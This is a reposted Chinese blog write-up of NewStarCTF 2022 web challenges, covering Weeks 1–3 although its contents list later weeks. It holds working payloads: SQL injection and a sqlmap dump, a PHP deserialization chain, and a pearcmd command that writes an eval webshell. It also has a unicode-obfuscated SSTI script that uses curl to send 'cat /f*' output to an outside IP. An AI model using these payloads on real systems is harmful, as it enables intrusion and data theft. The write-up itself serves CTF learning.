devbox
从前慢现在也慢
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

【Web】NewStarCTF 2022 题解(全)

作者：从前慢现在也慢 | 2024-04-27 12:38:36

赞

踩

【Web】NewStarCTF 2022 题解(全)

目录

Week1

HTTP

Head?Header!

我真的会谢 

NotPHP

Word-For-You 

Week2

Word-For-You(2 Gen)

IncludeOne

UnserializeOne

ezAPI 

Week3 

BabySSTI_One

multiSQL

IncludeTwo

Maybe You Have To think More

Week4

So Baby RCE 

BabySSTI_Two 

UnserializeThree

又一个SQL

Rome

Week5

Give me your photo PLZ 

Unsafe Apache 

So Baby RCE Again

BabySSTI_Three

Final round

Week1

HTTP

按照提示传参就行

Head?Header!

按要求传参即可

我真的会谢 

常规信息搜集来一套

访问/robots.txt 

 访问/www.zip 

邮件查看源码有一段提示 

访问/.index.php.swp 

 拼起来即可

NotPHP

瞪眼看就完了

payload:

  1. ?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('tac /f*');
  2.  
  3. num=2077.a

Word-For-You 

题目提示flag在数据库中

 有留言功能，有查询功能

万能密码

payload:

NewCTFer' or '1'='1

 

Week2

Word-For-You(2 Gen)

 跑sqlmap梭就可

sqlmap -u http://001b81ea-46b4-492b-be09-56912a4c5fd4.node5.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy -T wfy_comments --dump-all --batch

IncludeOne

种子伪随机，md_rand是1219893521

【php】mt_rand 伪随机数漏洞_mt_rand漏洞-CSDN博客

跑出来种子为1145146 

 

  1. <?php
  2. $a = mt_srand(1145146);
  3. echo mt_rand();
  4. echo "<br>";
  5. echo mt_rand();
  6. echo "<br>";

 跑出下一个随机数

base被ban可以用rot13来读，NewStar关键字塞进伪协议即可 

payload:

  1. ?file=php://filter/NewStar/read=string.rot13/resource=flag.php
  2. guess=1202031004

右键查看源码

 rot13解密拿到flag

UnserializeOne

瞪眼看链子

Start#__destruct -> Sec#__toString -> Easy#__call -> eeee#__clone ->Start#__isset -> Sec#__invoke

exp

  1. <?php
  2. class Start{
  3.     public $name;
  4.     public $func;
  5.  
  6. }
  7.  
  8. class Sec{
  9.     public $obj;
  10.     public $var;
  11.  
  12. }
  13.  
  14. class Easy
  15. {
  16.     public $cla;
  17. }
  18.  
  19. class eeee{
  20.     public $obj;
  21.  
  22. }
  23.  
  24. $a=new Start();
  25. $b=new Sec();
  26. $c=new Easy();
  27. $d=new eeee();
  28. $e=new Start();
  29. $f=new Sec();
  30. $e->func=$f;
  31. $d->obj=$e;
  32. $b->var=$d;
  33. $b->obj=$c;
  34. $a->name=$b;
  35. echo serialize($a);

payload:

  1.  
  2. pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

ezAPI 

提示只能输入数字，字母是一点都注不了

信息搜集，访问/www.zip拿到源码

  1. <?php
  2.                 error_reporting(0);
  3.                 $id = $_POST['id'];
  4.                 function waf($str)
  5.                 {
  6.                     if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
  7.                         return False;
  8.                     } else {
  9.                         return True;
  10.                     }
  11.                 }
  12.  
  13.                 function send($data)
  14.                 {
  15.                     $options = array(
  16.                         'http' => array(
  17.                             'method' => 'POST',
  18.                             'header' => 'Content-type: application/json',
  19.                             'content' => $data,
  20.                             'timeout' => 10 * 60
  21.                         )
  22.                     );
  23.                     $context = stream_context_create($options);
  24.                     $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
  25.                     return $result;
  26.                 }
  27.  
  28.                 if (isset($id)) {
  29.                     if (waf($id)) {
  30.                         isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
  31.                         $res = json_decode(send($data));
  32.                         if ($res->data->users_user_by_pk->name !== NULL) {
  33.                             echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
  34.                         } else {
  35.                             echo "<b>Can't found it!</b><br><br>DEBUG: ";
  36.                             var_dump($res->data);
  37.                         }
  38.                     } else {
  39.                         die("<b>Hacker! Only Number!</b>");
  40.                     }
  41.                 } else {
  42.                     die("<b>No Data?</b>");
  43.                 }
  44.                 ?>

看到其通过garphql来查询数据 

 

当CTF遇上GraphQL的那些事

payload:

data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}&id=1

 

payload:

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1

Week3 

BabySSTI_One

提示是flask的ssti

测出回显位

分享一个过waf巨好用的脚本

  1. import requests
  2.  
  3. headers = {
  4.     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
  5. }
  6. cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
  7. ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
  8. gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
  9. su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
  10. ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
  11. go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
  12. po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
  13.  
  14. for i in range(500):
  15.     url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'
  16.  
  17.     res = requests.get(url=url, headers=headers)
  18.     if 'success' in res.text:
  19.         print(i)

跑出来是117 

 

  1. import requests
  2.  
  3. headers = {
  4.     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
  5. }
  6. cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
  7. ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
  8. gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
  9. su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
  10. ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
  11. go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
  12. po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
  13. cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060'
  14. # curl 124.222.136.33:1337?flag=`cat /f*`
  15. i = 117
  16. url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'
  17.  
  18. res = requests.get(url=url, headers=headers)
  19. print(res.text)

外带数据拿到flag 

 

multiSQL

提示堆叠注入 

点击验证成绩 

感觉就是强网杯2019随便注那题改的

对关键词有过滤，无法大小写绕过，测出select,update,insert和union都被ban了

1';show tables;# 

1';show columns from score;# 

  

之后的部分直接打预编译

  1. <?php
  2. echo "0x".bin2hex("update score set listen = 200 where username = '火华';");
  3.  
  4. //0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b
1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

点击验证成绩，拿到flag 

IncludeTwo

直接打pearcmd 

关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3's blog

bp发包，先写马

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

 

再包含

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/496771
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。